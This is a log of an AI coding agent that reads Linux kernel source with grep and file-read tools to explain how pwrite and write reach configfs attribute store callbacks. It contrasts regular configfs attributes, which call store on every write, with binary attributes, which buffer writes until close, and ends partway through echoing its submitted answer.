1.  **`ksys_pwrite64(fd, buf, len, 0)`**: I noted that the `pos` argument is explicitly `0`. Crucially, I saw that because `FMODE_PWRITE` was set during the `configfs` open and not cleared, the subsequent `vfs_write` call would receive a pointer to this *local* `pos = 0` variable, not the file's persistent `f_pos`.

2.  **`vfs_write`**: Within `vfs_write`, I identified that the relevant file operation was `configfs_write_iter` (or `configfs_bin_write_iter` for binary attributes). This led to a call to `new_sync_write`.

3.  **`new_sync_write`**: Here, a synchronous I/O control block (`kiocb`) is initialized. The key observation for `pwrite` is that `kiocb.ki_pos` is set to the value pointed to by `ppos`, which, as established, is `0`. Then, the user buffer is prepared via `iov_iter_ubuf` and passed to `configfs_write_iter`.

4.  **`configfs_write_iter`**: This is where the core configfs logic resides. I meticulously examined its implementation:
    *   It acquires a mutex protecting the `configfs_buffer`.
    *   It calls `fill_write_buffer` to copy data from the user's `iov_iter` into `buffer->page`. I specifically noted that this copy happens into `buffer->page` starting at offset `0`, regardless of any `ki_pos` value, and a NUL terminator is appended.
    *   If `fill_write_buffer` succeeds, `flush_write_buffer` is called.
    *   `flush_write_buffer` is the critical path that ultimately invokes the user-defined `buffer->attr->store` function, passing it the `buffer->item`, the `buffer->page` (containing the data copied from userspace), and the number of bytes copied (`count`).
    *   After flushing, `iocb->ki_pos` is incremented by the number of bytes written (`len`).
    *   Finally, the mutex is released.

5.  **`fill_write_buffer`**: My analysis confirmed that this function, on its first call, allocates `buffer->page`. Subsequent calls reuse this page. The `copy_from_iter` within it always copies into `buffer->page` starting at offset `0`, and it null-terminates the buffer. It returns the number of bytes copied.

6.  **`flush_write_buffer`**: This function obtains a read lock on the fragment's semaphore and then directly calls the `attr->store` method, passing the `buffer->page` and the `count` received from `fill_write_buffer`. The return value of `store()` is what ultimately propagates back.

7.  **Returning to `configfs_write_iter`**: The `iocb->ki_pos` is updated.

8.  **Returning to `new_sync_write`**: The `*ppos` pointer (which, for `pwrite`, points to our initial `pos = 0`) is updated with `kiocb.ki_pos`. This is interesting, but since we're *always* passing `0` to `pwrite`, this update to `*ppos` is effectively lost on subsequent iterations.

9.  **Returning to `ksys_pwrite64`**: The `len` returned by `vfs_write` is passed back to userspace.

Now, the crucial part: the *next* iteration of the tight loop with `pwrite(fd, buf, len, 0)`:

*   The exact same path is followed. `ksys_pwrite64` receives `pos = 0`. `new_sync_write` initializes `kiocb.ki_pos = 0`. `configfs_write_iter` *again* calls `fill_write_buffer`, which reuses `buffer->page` and copies the *new* user data into `buffer->page` starting at offset `0`. `flush_write_buffer` calls `attr->store` with this *new* data. `iocb->ki_pos` is incremented, but since `*ppos` is still `0`, this updated `ki_pos` has no lasting effect on the next system call's `pos` argument.

This led me to ponder the difference with a regular `write(fd, buf, len)`:

*   **`ksys_write`**: Here, the `ppos` argument passed to `vfs_write` points to `file->f_pos`.
*   **First `write`**: `file->f_pos` is initially `0`. After the write, `file->f_pos` is updated to `len`.
*   **Second `write`**: `vfs_write` is now called with `pos = file->f_pos` (which is `len`).
*   **In `configfs_write_iter`**:
    *   `fill_write_buffer` still copies data into `buffer->page` at offset `0`.
    *   `flush_write_buffer` calls `attr->store(...)`.
    *   `iocb->ki_pos` is updated (starting from the `pos` passed into `vfs_write`, so `len + len`).
    *   `new_sync_write` then updates `file->f_pos` to this new value (`len + len`).

The fundamental realization here is that for `configfs`, the `fill_write_buffer` and `flush_write_buffer` functions *do not use the `kiocb->ki_pos` or the `*ppos` value at all when copying data into `buffer->page` or when calling `attr->store`*. They always operate on `buffer->page` starting from its beginning (offset 0). The `iocb->ki_pos` is *only* updated *after* the `store` operation has completed and the data has been processed.

This means that whether `pwrite(fd, buf, len, 0)` or `write(fd, buf, len)` is used, the `buffer->attr->store` function will always receive the *most recently supplied user data* in `buffer->page` starting from offset 0. The position argument (`0` for `pwrite(..., 0)` or `file->f_pos` for `write`) primarily affects how `file->f_pos` (for `write`) or the local `pos` variable (for `pwrite`) is updated *after* the data has been processed by `configfs_write_iter`.

This implies that for configuration attributes exposed via configfs, the behavior of `pwrite(..., 0)` in a loop is effectively identical to repeated `write()` calls in terms of *which data gets passed to the attribute's `store` method*. The `pwrite(..., 0)` call simply overwrites whatever was previously in the `buffer->page` with the new user data, and the `store` method is invoked. The `pos` argument of `0` for `pwrite` prevents `file->f_pos` from being advanced by `write`'s mechanism, but `configfs` itself doesn't leverage `f_pos` for the actual data transfer into its internal buffer.

I'm now considering if `rw_verify_area` in `vfs_write` might impose any restrictions based on `*ppos`, but my current focus is on the configfs-specific handlers.


143/7 2026/09/04 20:49 tool grepper
0m Args:
map[Expression:rw_verify_area PathPrefix:fs]

Results:
map[Output:fs/aio.c=1634=static int aio_read(struct kiocb *req, const struct iocb *iocb,
--
fs/aio.c-1653-		return ret;
fs/aio.c:1654:	ret = rw_verify_area(READ, file, &req->ki_pos, iov_iter_count(&iter));
fs/aio.c-1655-	if (!ret)
--
fs/aio.c=1661=static int aio_write(struct kiocb *req, const struct iocb *iocb,
--
fs/aio.c-1681-		return ret;
fs/aio.c:1682:	ret = rw_verify_area(WRITE, file, &req->ki_pos, iov_iter_count(&iter));
fs/aio.c-1683-	if (!ret) {
--
fs/btrfs/ioctl.c=4298=static int btrfs_ioctl_encoded_read(struct file *file, void __user *argp,
--
fs/btrfs/ioctl.c-4360-	pos = args.offset;
fs/btrfs/ioctl.c:4361:	ret = rw_verify_area(READ, file, &pos, args.len);
fs/btrfs/ioctl.c-4362-	if (ret < 0)
--
fs/btrfs/ioctl.c=4411=static int btrfs_ioctl_encoded_write(struct file *file, void __user *argp, bool compat)
--
fs/btrfs/ioctl.c-4484-	pos = args.offset;
fs/btrfs/ioctl.c:4485:	ret = rw_verify_area(WRITE, file, &pos, args.len);
fs/btrfs/ioctl.c-4486-	if (ret < 0)
--
fs/btrfs/ioctl.c=4688=static int btrfs_uring_encoded_read(struct io_uring_cmd *cmd, unsigned int issue_flags)
--
fs/btrfs/ioctl.c-4774-	pos = data->args.offset;
fs/btrfs/ioctl.c:4775:	ret = rw_verify_area(READ, file, &pos, data->args.len);
fs/btrfs/ioctl.c-4776-	if (ret < 0)
--
fs/btrfs/ioctl.c=4837=static int btrfs_uring_encoded_write(struct io_uring_cmd *cmd, unsigned int issue_flags)
--
fs/btrfs/ioctl.c-4934-	pos = data->args.offset;
fs/btrfs/ioctl.c:4935:	ret = rw_verify_area(WRITE, file, &pos, data->args.len);
fs/btrfs/ioctl.c-4936-	if (ret < 0)
--
fs/erofs/data.c=29=void *erofs_bread(struct erofs_buf *buf, erofs_off_t offset, bool need_kmap)
--
fs/erofs/data.c-42-		fpos = (loff_t)index << PAGE_SHIFT;
fs/erofs/data.c:43:		err = rw_verify_area(READ, buf->file, &fpos, PAGE_SIZE);
fs/erofs/data.c-44-		if (err < 0)
--
fs/nfsd/vfs.c=1079=__be32 nfsd_splice_read(struct svc_rqst *rqstp, struct svc_fh *fhp,
--
fs/nfsd/vfs.c-1091-	trace_nfsd_read_splice(rqstp, fhp, offset, *count);
fs/nfsd/vfs.c:1092:	host_err = rw_verify_area(READ, file, &offset, *count);
fs/nfsd/vfs.c-1093-	if (!host_err)
--
fs/overlayfs/copy_up.c=260=static int ovl_copy_up_file(struct ovl_fs *ofs, struct dentry *dentry,
--
fs/overlayfs/copy_up.c-288-	/* Couldn't clone, so now we try to copy the data */
fs/overlayfs/copy_up.c:289:	error = rw_verify_area(READ, old_file, &old_pos, len);
fs/overlayfs/copy_up.c-290-	if (!error)
fs/overlayfs/copy_up.c:291:		error = rw_verify_area(WRITE, new_file, &new_pos, len);
fs/overlayfs/copy_up.c-292-	if (error)
--
fs/overlayfs/file.c=527=static loff_t ovl_copyfile(struct file *file_in, loff_t pos_in,
--
fs/overlayfs/file.c-561-		with_ovl_creds(inode_in->i_sb) {
fs/overlayfs/file.c:562:			ret = rw_verify_area(READ, realfile_in, &pos_in, len);
fs/overlayfs/file.c-563-			if (unlikely(ret))
--
fs/read_write.c=426=SYSCALL_DEFINE5(llseek, unsigned int, fd, unsigned long, offset_high,
--
fs/read_write.c-452-
fs/read_write.c:453:int rw_verify_area(int read_write, struct file *file, const loff_t *ppos, size_t count)
fs/read_write.c-454-{
--
fs/read_write.c-480-}
fs/read_write.c:481:EXPORT_SYMBOL(rw_verify_area);
fs/read_write.c-482-
--
fs/read_write.c=543=ssize_t kernel_read(struct file *file, void *buf, size_t count, loff_t *pos)
--
fs/read_write.c-546-
fs/read_write.c:547:	ret = rw_verify_area(READ, file, pos, count);
fs/read_write.c-548-	if (ret)
--
fs/read_write.c=554=ssize_t vfs_read(struct file *file, char __user *buf, size_t count, loff_t *pos)
--
fs/read_write.c-564-
fs/read_write.c:565:	ret = rw_verify_area(READ, file, pos, count);
fs/read_write.c-566-	if (ret)
--
fs/read_write.c=651=ssize_t kernel_write(struct file *file, const void *buf, size_t count,
--
fs/read_write.c-655-
fs/read_write.c:656:	ret = rw_verify_area(WRITE, file, pos, count);
fs/read_write.c-657-	if (ret)
--
fs/read_write.c=667=ssize_t vfs_write(struct file *file, const char __user *buf, size_t count, loff_t *pos)
--
fs/read_write.c-677-
fs/read_write.c:678:	ret = rw_verify_area(WRITE, file, pos, count);
fs/read_write.c-679-	if (ret)
--
fs/read_write.c=869=ssize_t vfs_iocb_iter_read(struct file *file, struct kiocb *iocb,
--
fs/read_write.c-884-		goto out;
fs/read_write.c:885:	ret = rw_verify_area(READ, file, &iocb->ki_pos, tot_len);
fs/read_write.c-886-	if (ret < 0)
--
fs/read_write.c=897=ssize_t vfs_iter_read(struct file *file, struct iov_iter *iter, loff_t *ppos,
--
fs/read_write.c-912-		goto out;
fs/read_write.c:913:	ret = rw_verify_area(READ, file, ppos, tot_len);
fs/read_write.c-914-	if (ret < 0)
--
fs/read_write.c=929=ssize_t vfs_iocb_iter_write(struct file *file, struct kiocb *iocb,
--
fs/read_write.c-944-		return 0;
fs/read_write.c:945:	ret = rw_verify_area(WRITE, file, &iocb->ki_pos, tot_len);
fs/read_write.c-946-	if (ret < 0)
--
fs/read_write.c=960=ssize_t vfs_iter_write(struct file *file, struct iov_iter *iter, loff_t *ppos,
--
fs/read_write.c-976-
fs/read_write.c:977:	ret = rw_verify_area(WRITE, file, ppos, tot_len);
fs/read_write.c-978-	if (ret < 0)
--
fs/read_write.c=991=static ssize_t vfs_readv(struct file *file, const struct iovec __user *vec,
--
fs/read_write.c-1013-
fs/read_write.c:1014:	ret = rw_verify_area(READ, file, pos, tot_len);
fs/read_write.c-1015-	if (ret < 0)
--
fs/read_write.c=1029=static ssize_t vfs_writev(struct file *file, const struct iovec __user *vec,
--
fs/read_write.c-1051-
fs/read_write.c:1052:	ret = rw_verify_area(WRITE, file, pos, tot_len);
fs/read_write.c-1053-	if (ret < 0)
--
fs/read_write.c=1303=static ssize_t do_sendfile(int out_fd, int in_fd, loff_t *ppos,
--
fs/read_write.c-1327-	}
fs/read_write.c:1328:	retval = rw_verify_area(READ, fd_file(in), &pos, count);
fs/read_write.c-1329-	if (retval < 0)
--
fs/read_write.c-1367-	if (!opipe) {
fs/read_write.c:1368:		retval = rw_verify_area(WRITE, fd_file(out), &out_pos, count);
fs/read_write.c-1369-		if (retval < 0)
--
fs/read_write.c=1553=ssize_t vfs_copy_file_range(struct file *file_in, loff_t pos_in,
--
fs/read_write.c-1568-
fs/read_write.c:1569:	ret = rw_verify_area(READ, file_in, &pos_in, len);
fs/read_write.c-1570-	if (unlikely(ret))
--
fs/read_write.c-1572-
fs/read_write.c:1573:	ret = rw_verify_area(WRITE, file_out, &pos_out, len);
fs/read_write.c-1574-	if (unlikely(ret))
--
fs/splice.c=944=static void do_splice_eof(struct splice_desc *sd)
--
fs/splice.c-950-/*
fs/splice.c:951: * Callers already called rw_verify_area() on the entire range.
fs/splice.c-952- * No need to call it for sub ranges.
--
fs/splice.c=998=ssize_t vfs_splice_read(struct file *in, loff_t *ppos,
--
fs/splice.c-1003-
fs/splice.c:1004:	ret = rw_verify_area(READ, in, ppos, len);
fs/splice.c-1005-	if (unlikely(ret < 0))
--
fs/splice.c=1180=static ssize_t do_splice_direct_actor(struct file *in, loff_t *ppos,
--
fs/splice.c-1222- *
fs/splice.c:1223: * Callers already called rw_verify_area() on the entire range.
fs/splice.c-1224- */
--
fs/splice.c=1231=EXPORT_SYMBOL(do_splice_direct);
--
fs/splice.c-1245- *
fs/splice.c:1246: * Callers already called rw_verify_area() on the entire range.
fs/splice.c-1247- */
--
fs/splice.c=1300=ssize_t do_splice(struct file *in, loff_t *off_in, struct file *out,
--
fs/splice.c-1340-
fs/splice.c:1341:		ret = rw_verify_area(WRITE, out, &offset, len);
fs/splice.c-1342-		if (unlikely(ret < 0))
--
fs/splice.c-1366-
fs/splice.c:1367:		ret = rw_verify_area(READ, in, &offset, len);
fs/splice.c-1368-		if (unlikely(ret < 0))
]

144/7 2026/09/04 20:49 llm codeexpert
0m Model:
gemini-3.7-flash

Tokens:
							input: 34409
							output: 35
							thoughts: 21
						

Thoughts:
**My Thought Process**

Okay, so my immediate instinct when encountering a problem or needing to understand a specific behavior related to reading and writing data, particularly within the context of file systems, is to dive directly into the source code. My first port of call, given the subject matter, is to locate the core implementation. Therefore, I'd be thinking: "I need to see how these `read` and `write` operations are actually handled at the kernel level. The most logical place to start is a function that clearly signals its purpose in verifying the area involved in these operations."

This leads me directly to `fs/read_write.c`, which sounds like the absolute sweet spot for this kind of investigation. Within that file, I'd then be looking for a function name that explicitly mentions both "verify" and "area" in relation to "read" and "write". The function `rw_verify_area` fits this description perfectly. It's a highly descriptive name, suggesting it's a critical piece of logic that ensures the integrity of the memory regions or file system blocks being accessed during read or write requests. My expectation is that this function will contain the crucial checks, possibly involving memory mapping, page table manipulation, or access permissions, to ensure that the operation can proceed safely and correctly. I'm assuming it's a gatekeeper function, performing essential validation before the actual data transfer takes place.


145/7 2026/09/04 20:49 tool read-file
0m Args:
map[File:fs/read_write.c FirstLine:450 LineCount:35]

Results:
map[Contents: 450:	}
 451:	#endif
 452:	
 453:	int rw_verify_area(int read_write, struct file *file, const loff_t *ppos, size_t count)
 454:	{
 455:		int mask = read_write == READ ? MAY_READ : MAY_WRITE;
 456:		int ret;
 457:	
 458:		if (unlikely((ssize_t) count < 0))
 459:			return -EINVAL;
 460:	
 461:		if (ppos) {
 462:			loff_t pos = *ppos;
 463:	
 464:			if (unlikely(pos < 0)) {
 465:				if (!unsigned_offsets(file))
 466:					return -EINVAL;
 467:				if (count >= -pos) /* both values are in 0..LLONG_MAX */
 468:					return -EOVERFLOW;
 469:			} else if (unlikely((loff_t) (pos + count) < 0)) {
 470:				if (!unsigned_offsets(file))
 471:					return -EINVAL;
 472:			}
 473:		}
 474:	
 475:		ret = security_file_permission(file, mask);
 476:		if (ret)
 477:			return ret;
 478:	
 479:		return fsnotify_file_area_perm(file, mask, ppos, count);
 480:	}
 481:	EXPORT_SYMBOL(rw_verify_area);
 482:	
 483:	static ssize_t new_sync_read(struct file *filp, char __user *buf, size_t len, loff_t *ppos)
 484:	{
]

146/7 2026/09/04 20:49 llm codeexpert
0m Model:
gemini-3.7-flash

Tokens:
							input: 34968
							output: 30
							thoughts: 2959
						

Thoughts:
**A Deep Dive into ConfigFS Write Operations: Regular vs. Binary Attributes**

I've been looking into the intricacies of how data is written to configFS attributes, and it's clear there's a significant distinction between regular text attributes and binary attributes. My initial thought was to compare `configfs_bin_write_iter` and `configfs_write_iter`, which led me to realize that configFS indeed defines two distinct types of attributes: `struct configfs_attribute` for regular text and `struct configfs_bin_attribute` for binary data.

Let's break down what happens in each scenario.

**Case 1: Regular Text Attributes (`struct configfs_attribute`)**

When dealing with regular attributes, the `configfs_write_iter` function is invoked. My analysis shows that this function operates in two main stages:

1.  **`fill_write_buffer`**: This function is responsible for copying data from the user-space buffer into an internal kernel buffer, specifically `buffer->page`. Crucially, it copies the *entire* data provided, up to `SIMPLE_ATTR_SIZE - 1` (which is 4095 bytes), and then null-terminates it at `buffer->page[copied]`.
2.  **`flush_write_buffer`**: This function then takes the data from `buffer->page` and passes it to the actual driver callback, `buffer->attr->store(buffer->item, buffer->page, count)`.

The implication here is that for regular attributes, every single call to `pwrite(fd, buf, len, 0)` directly triggers the `attr->store()` callback. The function returns the result of this `store()` operation. What's interesting is that even though `iocb->ki_pos` is updated, configFS regular writes don't use `ki_pos` to manage data within the buffer itself; they always write to the start of `buffer->page`. Because `pwrite` is used with an offset of `0`, `file->f_pos` remains unchanged, but this doesn't impact how the data is handled for the write.

I've also considered potential issues with repeated writes:
*   **Single Threaded Loop**: In a tight loop within a single thread, each `pwrite` call acquires `buffer->mutex`, overwrites `buffer->page` from the beginning, calls `store()`, and then releases the mutex. This sequence executes reliably on each iteration.
*   **Data Size**: If the data to be written exceeds `SIMPLE_ATTR_SIZE - 1`, `fill_write_buffer` will only copy up to that limit. Regular configFS attributes are inherently limited to 4096 bytes.
*   **Attribute Removal**: If the attribute is removed (e.g., via `rmdir` on the item) while a write operation is in progress, the `flush_write_buffer` function checks a `frag->frag_dead` flag. If the item is gone, `store()` is skipped, and `-ENOENT` is returned.
*   **`write` vs. `pwrite`**: While `write(fd, buf, len)` increments `file->f_pos` with each call, `fill_write_buffer` *always* uses `buffer->page` from its beginning, ignoring `ki_pos`. However, `iocb->ki_pos += len` *is* executed. For `pwrite(..., 0)`, the offset is always zero, so `f_pos` doesn't change, and there's no risk of `pos + count` overflowing `LLONG_MAX`.

**Case 2: Binary Attributes (`struct configfs_bin_attribute`)**

The behavior for binary attributes is markedly different. My examination of `configfs_bin_write_iter` and `configfs_release_bin_file` reveals the following:

*   **Buffering, Not Immediate Callback**: The `configfs_bin_write_iter` function *does not* call the driver's `write()` callback during `write()` or `pwrite()` operations. Instead, it diligently buffers all incoming data into `buffer->bin_buffer`. It even handles dynamic resizing of this buffer if necessary, within specified size limits (`cb_max_size`).
*   **Single Callback on Close**: The driver's `bin_attr->write(...)` callback is *only* invoked *once*, and that happens when the file descriptor associated with the binary attribute is closed, specifically within the `configfs_release_bin_file` function.
*   **Repeated `pwrite` Behavior**: If I were to perform `pwrite(fd, buf, len, 0)` in a tight loop on a binary attribute, it would repeatedly overwrite `buffer->bin_buffer` at offset 0. The driver's write callback would *never* be triggered during this loop. The entire accumulated data would only be processed upon closing the file.
*   **Seeking**: The documentation notes that binary attributes are not seekable (`configfs_bin_file_operations.llseek` is NULL). However, `pwrite(..., 0)` still works because the `vfs_write` mechanism internally handles the `kiocb->ki_pos`. But, as I've emphasized, the actual attribute write method isn't called until `close(fd)`.

The official documentation confirms this: "The write(2) calls from user space are buffered, and the attributes' write_bin_attribute method will be invoked on the final close, therefore it is imperative for user-space to check the return code of close(2) in order to verify that the operation finished successfully."

**Comparison with Sysfs/Kernfs**

I also briefly considered sysfs (kernfs) behavior for context. In sysfs, `kernfs_fop_write_iter` passes the current offset (`iocb->ki_pos`) to the `ops->write` callback. This means that repeated `write` calls without explicit seeking back to 0 would naturally lead to writes at increasing offsets. Many sysfs attribute handlers are designed to only accept writes at offset 0, or they might handle offsets in specific ways. Often, users were advised to use `pwrite(fd, buf, len, 0)` or explicitly `lseek` before writing to ensure operations always occurred at the beginning of the attribute. This contrasts with configFS regular attributes, where `fill_write_buffer` always starts from the beginning of its internal buffer, and with binary attributes, where the offset is relevant for buffering but the callback is deferred.

In summary, the core difference is that regular attributes execute their `store()` callback immediately on every write, while binary attributes buffer data and only call their `write()` callback once, upon closing the file descriptor. This distinction is critical for understanding how data is handled and for ensuring operations complete successfully, especially when relying on return codes.


147/7 2026/09/04 20:50 tool grepper
0m Args:
map[Expression:sysfs_kf_write PathPrefix:fs/sysfs]

Results:
map[Output:fs/sysfs/file.c=106=static ssize_t sysfs_kf_read(struct kernfs_open_file *of, char *buf,
--
fs/sysfs/file.c-135-/* kernfs write callback for regular sysfs files */
fs/sysfs/file.c:136:static ssize_t sysfs_kf_write(struct kernfs_open_file *of, char *buf,
fs/sysfs/file.c-137-			      size_t count, loff_t pos)
--
fs/sysfs/file.c=230=static const struct kernfs_ops sysfs_file_kfops_wo = {
fs/sysfs/file.c:231:	.write		= sysfs_kf_write,
fs/sysfs/file.c-232-};
--
fs/sysfs/file.c=234=static const struct kernfs_ops sysfs_file_kfops_rw = {
fs/sysfs/file.c-235-	.seq_show	= sysfs_kf_seq_show,
fs/sysfs/file.c:236:	.write		= sysfs_kf_write,
fs/sysfs/file.c-237-};
--
fs/sysfs/file.c=244=static const struct kernfs_ops sysfs_prealloc_kfops_wo = {
fs/sysfs/file.c:245:	.write		= sysfs_kf_write,
fs/sysfs/file.c-246-	.prealloc	= true,
--
fs/sysfs/file.c=249=static const struct kernfs_ops sysfs_prealloc_kfops_rw = {
fs/sysfs/file.c-250-	.read		= sysfs_kf_read,
fs/sysfs/file.c:251:	.write		= sysfs_kf_write,
fs/sysfs/file.c-252-	.prealloc	= true,
]

148/7 2026/09/04 20:50 llm codeexpert
0m Model:
gemini-3.7-flash

Tokens:
							input: 38457
							output: 36
							thoughts: 29
						

Thoughts:
**My Thought Process Regarding `fs/sysfs/file.c` and `sysfs_kf_write`**

Alright, so my primary objective here is to gain a deeper understanding of how `sysfs` handles file writes, specifically within the context of `sysfs_kf_write`. I'm going to dive into the `fs/sysfs/file.c` source file and pinpoint the `sysfs_kf_write` function. My intention is to meticulously examine its implementation, paying close attention to the mechanisms it employs for data manipulation and integration. Crucially, I want to see how it compares to other related or analogous write operations within the kernel, not necessarily limited to `sysfs` itself, but potentially other file system contexts or kernel subsystems. This comparative analysis will be instrumental in identifying any unique approaches, potential optimizations, or even areas of concern within `sysfs_kf_write`. By dissecting this specific function and placing it within a broader kernel context, I aim to build a comprehensive mental model of `sysfs` write operations and their place in the overall kernel architecture.


149/7 2026/09/04 20:50 tool read-file
0m Args:
map[File:fs/sysfs/file.c FirstLine:135 LineCount:25]

Results:
map[Contents: 135:	/* kernfs write callback for regular sysfs files */
 136:	static ssize_t sysfs_kf_write(struct kernfs_open_file *of, char *buf,
 137:				      size_t count, loff_t pos)
 138:	{
 139:		const struct sysfs_ops *ops = sysfs_file_ops(of->kn);
 140:		struct kobject *kobj = sysfs_file_kobj(of->kn);
 141:	
 142:		if (!count)
 143:			return 0;
 144:	
 145:		return ops->store(kobj, of->kn->priv, buf, count);
 146:	}
 147:	
 148:	/* kernfs write callback for bin sysfs files */
 149:	static ssize_t sysfs_kf_bin_write(struct kernfs_open_file *of, char *buf,
 150:					  size_t count, loff_t pos)
 151:	{
 152:		const struct bin_attribute *battr = of->kn->priv;
 153:		struct kobject *kobj = sysfs_file_kobj(of->kn);
 154:		loff_t size = file_inode(of->file)->i_size;
 155:	
 156:		if (size) {
 157:			if (size <= pos)
 158:				return -EFBIG;
 159:			count = min_t(ssize_t, count, size - pos);
]

150/7 2026/09/04 20:50 llm codeexpert
0m Model:
gemini-3.7-flash

Tokens:
							input: 38944
							output: 717
							thoughts: 2156
						

Thoughts:
**My Thoughts on Configfs Write Behavior**

I've been examining how writes to configfs attributes behave, specifically in the context of repeated `write()` or `pwrite()` calls in a tight loop. My primary concern is understanding the implications for both regular attributes and the specialized binary attributes, and whether there are any unexpected behaviors or limitations.

**Initial Observation on Binary Attributes and `sysfs_bin_attr_write`:**

My first thought was about the behavior of binary attributes in general, remembering that something like `sysfs_bin_attr_write` had a potential issue where repeated writes without `lseek` to offset 0 could lead to unexpected behavior if the size limit was hit. I recalled a check like `if (size <= pos) return -EFBIG;`. This made me wonder if a similar scenario might arise in configfs's binary attributes.

**Diving into Configfs - Regular Attributes First:**

To get a clear picture, I decided to trace the code for regular configfs attributes. I reviewed `fs/configfs/file.c`, specifically focusing on `configfs_write_iter`.

*   **`configfs_write_iter`**: This function is the entry point for writes. It locks a per-file-handle buffer (`buffer->mutex`) and then calls `fill_write_buffer` to copy data from the user iterator.
*   **`fill_write_buffer`**: This function allocates a page buffer if needed and copies data from the user iterator into `buffer->page`. Crucially, it NUL-terminates the buffer, implying it's intended for string-like data. It also sets `buffer->needs_read_fill = 1`. The maximum size copied is `SIMPLE_ATTR_SIZE - 1`, which is 4095 bytes.
*   **`flush_write_buffer`**: This is where the actual attribute `store` callback is invoked. It takes a read lock on `frag->frag_sem` and calls `buffer->attr->store(buffer->item, buffer->page, count)`. This happens for every successful write.

**My Findings for Regular Attributes:**

Based on this, my understanding for **regular configfs attributes** is:

1.  **Consistent `store` Callback:** Every `pwrite(fd, buf, len, 0)` call in a tight loop *will* trigger the attribute's `store` callback synchronously. This is because `flush_write_buffer` is called unconditionally after `fill_write_buffer` if `len > 0`.
2.  **Offset Handling:** While `pwrite(..., 0)` is specified, the internal logic of `fill_write_buffer` effectively writes to the beginning of the internal `buffer->page` regardless of the `file->f_pos` from `pwrite`. The key is that the `store` callback receives the current data buffer.
3.  **Size Limitation:** The internal buffer has a fixed size (`SIMPLE_ATTR_SIZE - 1`), meaning writes larger than this will effectively be truncated or handled according to how `copy_from_iter` behaves with larger user buffers.
4.  **Synchronization:** The internal buffer is protected by `buffer->mutex`, and the target item's validity is protected by `frag->frag_sem`. This seems robust for concurrent operations.

**Now, onto Binary Attributes:**

My suspicion about binary attributes was stronger. I looked at `fs/configfs/file.c` again, focusing on `configfs_bin_write_iter` and the associated operations (`configfs_bin_file_operations`).

*   **`configfs_bin_write_iter`**: This function is different. Instead of immediately calling a `store` callback, it appears to **buffer** all written data into a kernel buffer (`buffer->bin_buffer`). The actual `bin_attr->write` callback is **not** invoked during the write syscall itself.
*   **Callback Timing**: My analysis shows that the `bin_attr->write` callback is only executed once, at the very end, when the file descriptor is closed. This happens within `configfs_release_bin_file`.

**My Findings for Binary Attributes:**

This leads me to a significant difference for **binary configfs attributes**:

1.  **Buffering, Not Immediate Execution:** Repeated `pwrite(fd, buf, len, 0)` calls in a tight loop on a binary attribute will **not** trigger the `bin_attr->write` callback on each iteration. Instead, the data written in each syscall will simply overwrite the contents of the internal `buffer->bin_buffer` at the relevant offset.
2.  **Single Callback on `close()`:** The `bin_attr->write` function will only be invoked *once* when the file descriptor associated with the binary attribute is closed. All the data that was written across all the `pwrite` calls will then be passed to the callback at that single point in time.

**Summary of Key Differences and Considerations:**

*   **Regular Attributes:** `pwrite` (or `write`) in a loop directly and synchronously triggers the `store` callback for each operation. This is ideal for setting individual values.
*   **Binary Attributes:** `pwrite` (or `write`) in a loop accumulates data in an internal buffer. The `bin_attr->write` callback is deferred until `close()` is called on the file descriptor. This is more akin to writing a contiguous block of data that is then processed all at once.

**Additional Nuances I've Considered:**

*   **`len == 0` in `fill_write_buffer`**: I noticed that if `copy_from_iter` copies 0 bytes (e.g., if the user iterator is empty), `fill_write_buffer` returns `-EFAULT`. This seems like a specific handling for zero-length writes.
*   **Negative `pos`**: `ksys_pwrite64` handles negative offsets by returning `-EINVAL`.
*   **Invalid `buf`**: If the user buffer is invalid, `copy_from_iter` or the underlying VFS write mechanisms will return an error like `-EFAULT`.
*   **Item Deletion**: If the configfs item is removed (`rmdir`) while operations are ongoing, the `frag->frag_dead` flag will be set, and subsequent writes will correctly return `-ENOENT`.
*   **Driver Implementation**: For both attribute types, the driver's `store` or `write` implementation must be designed to handle potentially rapid, sequential calls if that's how it's expected to be used.

In conclusion, my deep dive confirms that there's a critical semantic difference between regular and binary configfs attributes regarding how write operations are handled in loops. For regular attributes, it's a direct, per-write callback. For binary attributes, it's a buffered approach with a single callback upon closing the file. This is an important distinction for anyone interacting with configfs.


151/7 2026/09/04 20:50 tool set-results
0m Args:
map[Answer:The behavior depends on whether the attribute is a **regular (standard text) attribute** or a **binary attribute**:

---

### 1. Regular Configfs Attributes (`struct configfs_attribute`)
**There is no issue, and it will correctly trigger the `store` function every time.**

#### How it works:
* When `pwrite(fd, buf, len, 0)` is invoked on a regular configfs attribute file, the kernel executes:
  `ksys_pwrite64()` $\to$ `vfs_write()` $\to$ `new_sync_write()` $\to$ `configfs_write_iter()`.
* In `configfs_write_iter()` (`fs/configfs/file.c`):
  1. `fill_write_buffer()` copies the user buffer into `buffer->page` (starting at offset 0, up to `SIMPLE_ATTR_SIZE - 1` = 4095 bytes) and ensures NUL-termination.
  2. `flush_write_buffer()` acquires the fragment read lock (`frag->frag_sem`) and directly calls the attribute's store callback:
     ```c
     res = buffer->attr->store(buffer->item, buffer->page, count);
     ```
  3. The return value of `store()` is returned to userspace.
* Because `pwrite` explicitly supplies offset `0`, `file->f_pos` is not advanced across iterations (and even internally, `fill_write_buffer()` always writes to index 0 of `buffer->page`).
* Each call in a tight loop safely acquires `buffer->mutex`, updates the page, invokes `store()`, and releases the mutex.

#### Considerations for Regular Attributes:
* **Size limit**: Standard configfs attributes are limited to `SIMPLE_ATTR_SIZE` (4096 bytes, max 4095 copied bytes).
* **Item deletion**: If the config item is removed (`rmdir`) while the loop is running, `frag->frag_dead` becomes true and subsequent `pwrite()` calls return `-ENOENT`.
* **Driver idempotency/performance**: The underlying module's `store()` callback must be prepared to handle rapid repeated calls and any concurrency/locking in the driver.

---

### 2. Binary Configfs Attributes (`struct configfs_bin_attribute`)
**Yes, there is an issue: it will NOT trigger the `write` callback every time.**

#### How it works:
* Configfs uses distinct operations for binary attributes (`configfs_bin_file_operations`).
* In `configfs_bin_write_iter()`, write operations only copy data into an internal memory buffer (`buffer->bin_buffer`) and **do not** invoke the driver's write callback.
* The write callback (`buffer->bin_attr->write(...)`) is only invoked **once** upon closing the file descriptor (`configfs_release_bin_file()` during `close(fd)`).
* Consequently, calling `pwrite(fd, buf, len, 0)` in a tight loop on a binary attribute simply overwrites the in-memory buffer at offset 0 repeatedly; the driver's callback is executed only once when the file is finally closed.]

Results:
map[Answer:The behavior depends on whether the attribute is a **regular (standard text) attribute** or a **binary attribute**:

---

### 1. Regular Configfs Attributes (`struct configfs_attribute`)
